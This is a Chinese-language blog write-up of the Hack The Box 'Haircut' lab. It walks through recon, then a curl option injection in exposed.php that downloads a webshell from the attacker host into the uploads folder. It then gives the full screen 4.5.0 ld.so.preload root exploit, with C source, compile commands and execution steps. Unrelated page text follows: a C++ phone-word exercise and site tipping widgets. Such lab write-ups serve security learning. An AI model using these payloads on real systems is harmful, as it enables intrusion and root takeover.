【Hack The Box】linux练习-- Haircut

HTB 学习笔记

【Hack The Box】linux练习-- Haircut


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
/index.html           (Status: 200) [Size: 144]
/uploads              (Status: 301) [Size: 194]

在这里插入图片描述CREATOR: gd-jpeg v1.0
这也没啥用
到目前为止没有任何思路
换个大一点的字典接着跑

gobuster dir -u http://10.129.95.174 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php

又扫出来个

/exposed.php

在这里插入图片描述直接go一下吓我一跳

在这里插入图片描述
他的这个页面值得注意的就是这个(一会再说)
但是我们还是按照正常的审查思路来
首先,我们应该考虑,能不能包含我们的本地文件

开始实施,先放咱们自己的ip
在这里插入图片描述本地开个icmp监听
确定可以
于是尝试本地文件包含,但后门文件只是被作为一部分响应体,所以继续
在这里插入图片描述
在页面上就是类似长得像这样
在这里插入图片描述没有人会去解析我们的php

期权注入

我们在看到他访问自己的界面的时候的显示
是非常少见的,或者说你几乎没有见过的------
这个东西是curl的一个特征
我们可以看到curl的正常输出是这样的
在这里插入图片描述
结合我刚才发现了uploads目录,我将尝试-o将我们的脚本输出到uploads
对于webshell
默认的目录一般均为/var/www/http

我们现在假设他执行了curl命令
那么需要在框子中输入
http://10.10.14.7/shell.php -o /var/www/html/uploads/shell.php
在这里插入图片描述
在这里插入图片描述

提权

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null  

在这里插入图片描述

exp分析

https://www.exploit-db.com/exploits/41154

把sh丢进去赋权执行吧
结果报错,应该是gcc的问题可能,那我就在本地做好然传进去,这叫自动脚本手动化

在这里插入图片描述

手动分析

我觉得这个就是一个恶意库劫持

首先,它改变了的所有者 /tmp/rootshell到 root:root,然后将权限更改为 SUID,删除文件 /etc/ld.so.preload, 并打印一条消息。 当然,这看不懂都没关系,看得懂他在哪里执行什么就行
然后把这段c代码编译成 /tmp/libhax.so

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

接下来脚本创建 /tmp/rootshell:

cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

然后这几步我也看不懂,照抄就行
在这里插入图片描述
最后,它会调用现在的 SUID /tmp/rootshell

执行

把刚才上面代码块里的c部分取出来,一个是libhax.c,一个是rootshell.c

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

可以就在当前目录,不需要tmp
在这里插入图片描述
编译报了点问题
但好像没啥事
然后在靶机wget下载过去rootshell和libhax.so

cd /etc/
umask 000
screen-4.5.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" 
cat ld.so.preload
screen-4.5.0 -ls
/tmp/rootshell 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
(Telephone Number Word Generator) Standard telephone keypads contain the digits 0 through 9. The numbers 2 through 9 each have three letters associated with them, as is indicated by the following table: Many people find it difficult to memorize phone numbers, so they use the correspondence between digits and letters to develop seven-letter words that correspond to their phone numbers. For example, a person whose telephone number is 686-2377 might use the correspondence indi- cated in the above table to develop the seven-letter word “NUMBERS.” Businesses frequently attempt to get telephone numbers that are easy for their clients to remember. If a business can advertise a simple word for its customers to dial, then no doubt the business will receive a few more calls. Each seven-letter word corresponds to exactly one seven-digit telephone number. The restaurant wishing to increase its take-home business could surely do so with the number 825-3688 (i.e., “TAKEOUT”). Each seven-digit phone number corresponds to many separate seven-letter words. Unfortunately, most of these represent unrecognizable juxtaposi- tions of letters. It’s possible, however, that the owner of a barber shop would be pleased to know that the shop’s telephone number, 424-7288, corresponds to “HAIRCUT.” A veterinarian with the phone number 738-2273 would be happy to know that the number corresponds to “PETCARE.” Write a C++ program that, given a seven-digit number, writes to a file every possible seven-letter word corresponding to that number. There are 2187 (3 to the seventh power) such words. Avoid phone numbers with the digits 0 and 1.
06-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值